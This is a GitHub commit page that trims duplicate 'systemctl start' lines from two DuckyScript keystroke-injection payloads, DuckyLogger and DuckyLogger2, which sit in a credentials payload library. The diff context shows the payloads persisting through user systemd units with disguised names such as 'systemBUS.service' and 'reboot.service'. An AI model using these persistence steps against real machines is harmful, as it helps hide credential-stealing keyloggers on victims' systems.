Skip to content

Commit

Permalink
Signed-off-by: Kr1ss <kr1ss.x@yandex.com>
Browse files Browse the repository at this point in the history
don't start systemd units twice

The `systemctl enable` command already starts the service/timer unit
given as an argument when the `--now` flag is included.
  • Loading branch information
Kr1ss-XD committed Dec 20, 2023
1 parent 90a5cbd commit 4e2254d
Show file tree
Hide file tree
Showing 2 changed files with 0 additions and 9 deletions.
6 changes: 0 additions & 6 deletions payloads/library/credentials/DuckyLogger/payload.txt
Original file line number Diff line number Diff line change
Expand Up @@ -75,14 +75,8 @@ DELAY 300
STRING systemctl --user enable --now systemBUS.service
ENTER
DELAY 150
STRING systemctl --user start --now systemBUS.service
ENTER
DELAY 150
STRING systemctl --user enable --now reboot.service
ENTER
DELAY 150
STRING systemctl --user start --now reboot.service
ENTER
DELAY 100

REM [autostarting service on terminal/shell launch]
Expand Down
3 changes: 0 additions & 3 deletions payloads/library/credentials/DuckyLogger2/payload.txt
Original file line number Diff line number Diff line change
Expand Up @@ -67,8 +67,5 @@ DELAY 300
STRING systemctl --user enable --now systemBUS.service && systemctl --user enable --now systemBUS.timer
ENTER
DELAY 150
STRING systemctl --user start --now systemBUS.service && systemctl --user start --now systemBUS.timer
ENTER
DELAY 150
STRING exit
ENTER

0 comments on commit 4e2254d

Please sign in to comment.